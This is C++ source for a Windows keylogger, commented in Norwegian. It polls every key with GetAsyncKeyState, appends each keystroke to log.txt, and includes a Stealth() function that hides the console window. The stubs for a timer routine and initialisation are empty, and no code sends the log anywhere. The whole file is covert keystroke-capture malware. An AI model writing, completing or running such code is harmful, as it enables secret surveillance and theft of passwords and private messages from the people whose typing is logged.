using namespace std;

char* logg_fil = "log.txt";

short isProperKey(int i);
void Stealth();
void Initialize();
void runOnTimer(char *file);
int Save(int key_stroke, char *file);

int main()
{

    unsigned int i;
    int time = clock();

    while(true)
    {
        for(i = 8; i <= 255; i++) {
            if(isProperKey(i))
                if(GetAsyncKeyState(i) == -32767)
                    Save(i, logg_fil);
        }
        if(clock() - time > 5000) {
            cout << time << endl;
            time = clock();
            //runOnTimer(logg_fil);
        }
    }

    return 0;

}

short isProperKey(int i)
{

    int NOT_PROPER_KEYS[13] = { 20, 16, 160, 161, 17, 162, 163, 164, 165, 18, 91, 92, 93 };
    short return_val = 1;
    for(int x=0; x < 13; x++)
        if(i == NOT_PROPER_KEYS[x])
            return_val = 0;
    return return_val;

}

void Stealth()
{

    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth, 0);

}

void Initialize()
{



}

void runOnTimer(char *file)
{



}

int Save(int key_stroke, char *file)
{

    // Tegn som ikke skal logges (hex-verdi i desimal)
    int ikke_logges[] = {
        1, 2, 3, 4, 5, 6, 12, 13, 15, 17, 18,
        19, 28, 29, 30, 31, 32
    };
    vector<int> v(ikke_logges, ikke_logges+17); // (+X = antall elementer i array)

    // Tegn
    char* tegn;
    tegn = (char*)malloc(30);

    // Loggfil
    FILE * OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");


    if(!(binary_search(v.begin(), v.end(), key_stroke)))
    {

        switch(key_stroke)
        {

            case VK_BACK: sprintf(tegn, "[BACKSPACE]"); break;
            case VK_TAB: sprintf(tegn, "[TAB]"); break;
            case VK_SHIFT: sprintf(tegn, "[SHIFT]"); break;
            //case VK_CONTROL: sprintf(tegn, "[CTRL]"); break;
            //case VK_MENU: sprintf(tegn, "[ALT]"); break;
            case VK_CAPITAL: sprintf(tegn, "[CAPS]"); break;
            case VK_ESCAPE: sprintf(tegn, "[ESC]"); break;
            case VK_SPACE: sprintf(tegn, "[SPACE]"); break;
            case VK_DELETE: sprintf(tegn, "[DEL]");

            // Spesialtegn: Æ, ø, å, _ og -
            case 222: tegn[0] = 198; tegn[1] = '\0'; break;
            case 192: tegn[0] = 216; tegn[1] = '\0'; break;
            case 221: tegn[0] = 197; tegn[1] = '\0'; break;
            case 189: tegn[0] = GetAsyncKeyState(VK_SHIFT) ? 95 : 45; tegn[1] = '\0'; break;

            // Alle andre tegn
            default: tegn[0] = ((char*)&key_stroke)[0]; tegn[1] = '\0'; break;

        }

        fprintf(OUTPUT_FILE, "%s\n", tegn);
        fclose(OUTPUT_FILE);

    }

    return 0;

}